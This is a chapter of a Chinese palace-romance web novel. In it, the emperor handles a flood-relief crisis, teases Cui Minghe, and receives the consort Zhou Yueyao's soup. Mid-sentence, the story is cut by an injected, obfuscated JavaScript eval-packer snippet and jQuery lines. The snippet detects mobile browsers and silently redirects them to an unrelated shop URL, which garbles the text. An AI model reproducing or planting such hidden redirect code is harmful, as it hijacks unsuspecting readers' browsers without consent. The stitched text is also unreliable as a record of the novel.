101. 隔窗知雨芭蕉声
作品:《总有狗皇帝想害我》 正是春雨连绵时。
清闲不过几日,待到雨将将快要停歇了,萧承懿又旧疾复发、因循照旧地遣人递了催命符过来。
侍候笔墨,又是侍候笔墨。
这借口用得多了,连她自个都懒得去戳穿。
步辇行至御书房门前,她侧身避开廊道檐角落下的水珠,王喜已撑伞堆着笑迎了上来,絮絮道:“姑娘可算来了,陛下都念叨好几回了……”
她记恨先前那“同榻共寝”的乌糟事,并不大愿意给那人及他身边人脸面,不待通传就掠过他。
小姑奶奶!
王喜眉心一跳,忙拦道:“姑娘留步,劳姑娘在外稍待片刻,陛下他老人家正和李大人……”
目不斜视,崔明禾如入无人之境般进了殿。
御书房内气氛有些沉凝。
“江州水患已至此等地步,为何朕昨日才接到奏报?”
绯色官袍的老臣诚惶诚恐回话:“回陛下,周谦上奏只说雨势过大,河水略有上涨,并未提及溃堤一事。若非御史台暗中察访的密探将消息送回,怕是朝廷至今仍被蒙在鼓里。”
“好一个‘略有上涨’。”萧承懿发出一声冷笑,手上奏折随手掷在御案上,“淹了七个县,近十万灾民流离失所,他竟敢与朕说‘略有上涨’!”
崔明禾自个寻了位置远远坐着。
江州总督周谦,此人乃周长龄的远房族侄,素有功勋。而立之年就位列一州总督,前途无量。
李大人拱手道:“江州水患盘根错节,非一日之寒。官员素有贪墨之风,周谦此人仗着周家势力,在江州欺上瞒下。臣以为,此事若不严查,恐寒了天下百姓之心。”
崔明禾转了转眼珠,有些兴趣地望过去。
“爱卿所言极是。不过,周谦是周谦,周家是周家。周尚书为国尽心竭力,推行新政,于社稷有功。朕总不能因一个远亲之过,便寒了功臣的心。”
李大人道:“陛下圣明。”
“江州之事,朕自有决断。”萧承懿道,“眼下当务之急是赈灾。特派大学士薛安为钦差巡抚,着户部即刻拨发三十万两白银,工部遣人前往江州,督修河道堤坝。”
“将此事交予薛安?”李大人略显迟疑。
“有何不妥?”萧承懿反问。
李大人道:“回陛下,臣以为薛安过于年轻,怕是难以……”
“爱卿此言差矣。薛安入朝时间虽短,却也是中过探花,待过翰林院。总归得给年轻人一些历练机会才是。”
李大人只得附和:“陛下圣明,薛大人年少有为。”
萧承懿笑了笑,目光却落在不远处端坐的人身上。
崔明禾翘了翘嘴角。目光一掠而过,她自顾自地执起茶盏。
他分明早注意到她的存在,却装作未瞧见,反而继续与李大人道:“爱卿还有其他事要禀么?”
对方拱手:“秉陛下,无其他要事。”
“嗯。”他支颐的手揉了揉太阳穴。
李大人告退,殿门开合一道,将外头微凉的湿气一并关了进来。萧承懿斜瞥她一眼,她侧过脸,避开他投来的目光。
“没见朕头疼么,还不快过来。”
“……”
“听不见?”
崔明禾:“……”
“头疼就去请太医,我又瞧不了病。”
他听见,头也不回,道:“你多说几个字,朕头疼就不药而愈了。”
在他身后站定,崔明禾轻哼一声,半晌才不情不愿道:“陛下想多了。”
他终于忍不住笑了声:“崔大姑娘,你如今是愈发胆大。”
崔明禾冷笑:“那您就继续头疼罢。”
萧承懿:“……”
……幼稚!
她低头盯着自己绣鞋上一颗硕大的珍珠,珠圆玉润上流转一种近乎彩虹的色泽,最后是萧承懿先失了耐性,随口道:“方才听了多少?”
崔明禾道:“陛下说笑。臣女刚到,什么也不曾听见。”
“朕还以为,你会对江州之事感兴趣。”他便哼笑一声。
崔明禾不以为意:“奴婢一介女流,关注朝政,岂非逾越了?”
她又拿这话来搪塞他,萧承懿面上神色显然是不甚相信。他懒懒靠向椅背,双眸微阖,鼻梁挺括,睫毛落下一小扇阴影,崔明禾盯着看。他说:“在朕面前便不用装模作样了。周谦是周长龄的人,如今他出了这般大的纰漏,你心里怕是乐开了花罢?”
“陛下多虑,周大人是陛下肱股之臣,他那族侄犯错,与他何干?奴婢又有何可乐的。”她道,“这三十万两白银若能落到实处,江州灾民多少能好过些。”
萧承懿似笑非笑:“朕先前还以为,你对这天下百姓全然不在意。”
崔明禾扬起下巴:“那倒也不是。”
他重新提笔蘸墨,又问:“那不知我们名满京华的崔大姑娘有何高见?”
她说:“高见谈不上,奴婢对打打杀杀的事不感兴趣。”
“打打杀杀?”
“是,外头那群臣工说的冠冕堂皇,还不是对周谦之流的贪墨行径睁一只眼闭一只眼?任他鱼肉百姓、鱼肉朝廷?”
萧承懿正提笔写字,闻言笔锋一顿,将一个“杀”字生生写废了。
崔明禾偏头瞥了一眼,很是不客气地笑起来。
“笔给你,你来写?”他索性搁下笔,眼风瞥她。
她道:“奴婢不敢。”
“还有你崔大姑娘不敢的事?”萧承懿颇为新奇地看她,像是第一次认识她。见对方着实不打算接茬,才改了话题,“薛安此人,你如何看?”
她确有印象。
此人出身寒微,却才华横溢,据说在殿试时一篇策论鞭辟入里,深得新帝赏识。只是为人清高不善钻营,入仕一年有余,仍在翰林院做个清闲的编修。崔明禾便道:“似是去岁的新科探花。”
萧承懿颔首:“若他自个能争气些,或许能有个好前程。”
“有得必有失。”崔明禾说,“或许人家就喜欢翰林院清闲自在的日子,不愿与朝廷这滩浑水搅在一处呢?”
萧承懿笑了声:“崔大姑娘可是在拐着弯骂朕?”
崔明禾:“奴婢岂敢。”
他笑而不语。崔明禾默了默,又道:“陛下将这钦差的差事交给他,不怕他办砸了?”
“办砸了,正好摘了他的顶戴。”萧承懿道。
她思量是帝王心术果然深不可测。薛安此去是福是祸,全在萧承懿一念之间。
“伴君如伴虎,这话不假。”她似是而非地感慨一句。
他道:“崔明禾,朕若真是虎,你便是在拔虎须的那一个。”
这话叫人没法接。她索性闭了嘴,踱步绕到他身后,伸出两根纤白的指头,不轻不重地在他两侧太阳穴上按揉起来。
力道不大,却也算尽心。萧承懿没再说话,由着她动作,只将那张写废了的纸揉成一团,扔进一旁的纸篓。
檐角残雨滴在青砖,一声轻,一声重。气氛静谧,甚至有些许算得上温存的错觉。
而崔明禾只在想。
他们如今这般,到底是算不得相安无事。
倒也算不得安宁。
御书房内龙涎香未散,两人听见外头环佩叮当。王喜躬身来报:“贵妃娘娘炖了参汤,特意给您送来了。”
萧承懿神色不动:“不见。”
王喜才要退,他瞥过崔明禾事不关己的脸,改了主意。他改口道:“让她进来。”
崔明禾闻言手上动作一顿,便要收手退开,手腕却被他一把攥住。力道不重。
“做什么去?”他眼也未抬。
“贵妃娘娘来了,奴婢自当回避。”她答得理所当然。
萧承懿冷嗤一声,非但不松手,反而将人往自己身前一带。“就在这儿待着,朕准你回避了么?”
珠帘晃荡,殿门开处明艳的石榴红宫装美人已端着一方托盘款款而入。她满心欢喜,进殿目光便胶着在御座上那
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16782400|180130||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人身上,待走近了,才看清他旁边还立着一人。
周月窈面色垮下来。
崔明禾心下轻嗤,别开脸去。
这人当着萧承懿的面也给她没脸,周月窈心头恼恨,索性将她当空气。手中描金的白玉汤盅搁在御案一角,不动声色挤开崔明禾,绕至萧承懿身后给他揉肩:“陛下,您看您又在为国事操劳。臣妾想着您辛苦,特意在小厨房守了一上午,亲手炖了这盅参汤给您补身子。”
崔明禾漫不经心地瞥她一眼,趁着这个空当退到一旁。
萧承懿任她缠着,不咸不淡掀了掀眼皮。
“有心了。”他道,崔明禾便眼尖瞧见周月窈立刻扬起的嘴角。
周月窈娇笑道:“前儿个春猎,陛下受了风寒,臣妾这心里就一直惦记着。这汤里放了上好的人参和鹿茸,最是滋补不过了。”
他“嗯”了声,由着她动作,捧着的那盅参汤用白玉小勺搅了搅,却并不入口,只将目光稍稍往旁一瞥。崔明禾立在几步开外,垂眸看着地上光滑可鉴的金砖。
“臣妾听闻德妃妹妹近来身子不大爽利,这六宫诸事,便有些顾不过来。”周月窈柔荑滑落,似是不经意地抱怨,“底下人也跟着懈怠,昨日臣妾宫里的小厨房竟连新鲜的牛乳都断了,说是内务府那边派发不及。这宫里上上下下多少张嘴,若是都这般疏忽,成何体统?”
萧承懿眯了眯眼,终于舍得将目光从崔明禾身上移开,温和道:“爱妃受委屈了。德妃初理宫务,难免有疏漏之处,你多担待些。”
周月窈心有不甘,却也知分寸,不好再揪着杨含章不放,便将话头一转:“太后娘娘仁爱,免了今年各宫岁供,臣妾自然也是赞同的。只是这宫里有头有脸的主子就这么几个,底下人却不少……”她目光若有似无地瞟向崔明禾,“臣妾倒不是计较这些。只是这宫里头,没规矩的人是越来越多了。有些人没个名没个分的,倒比正经主子还要体面,也不知安的什么心。”
萧承懿闻言眉头一皱。
王喜在旁听着,眼瞧着他脸上温和神情一点一点冷下来,心里直捏一把汗。
他又瞥一眼崔明禾,这位果然毫不意外地抬起头,露出个狡黠的笑。
周月窈的目光有意无意地黏在崔明禾身上,仿佛是正等着她辩驳一番。崔明禾却不紧不慢地拢了拢袖口,将手揣回宽大袖袍之中。
殿中一时安静,连雨声都远了。
他终于浅啜一口汤,赞道:“爱妃手益越发长进了。”
他这般轻描淡写便将方才那话揭过去,周月窈松了口气的同时又有些不忿。只得强撑着笑脸道:“陛下喜欢便好,臣妾日后日日给您炖。”
“日日倒也不必。”萧承懿放下汤碗,拍了拍她手背,“朕近来有些上火,不宜太过滋补。爱妃有心了。”
他一面安抚着周月窈,一面却抬眼看向崔明禾,薄唇微动,无声地说了两个字。
过来。
崔明禾别过脸去佯装没见,半张脸被烛影削得冷白。
“爱妃若无事,便先回罢。朕还有些政务要处置。”
他开始赶人,周月窈碰了一鼻子灰,心中郁结,只得行礼告退:“那臣妾便不打扰陛下了。”
她转身离去,经过崔明禾身侧时终是没忍住,从鼻子里发出一声极轻的冷哼,有十足的鄙夷。
崔明禾:……
她一走,殿中的气氛便又活络起来。
烛火晃晃,纸窗映着剪影。萧承懿阖目假寐,眉头微蹙。崔明禾在他身旁立了一阵,站得百无聊赖,索性推了推他肩膀。
萧承懿抬眼看她。
崔明禾说:“陛下,贵妃娘娘的参汤您还没喝。”
他笑:“你是在提醒朕?”
她逐渐面上毛焦火燥起来,干脆袖子一甩也告辞,急急回去了。
萧承懿行至窗边,目光落在她走远的背影上。
外头雨势渐大,黑沉沉的天光下,那道雪青色的身影很快便消失在水汽淋漓的雨雾中。

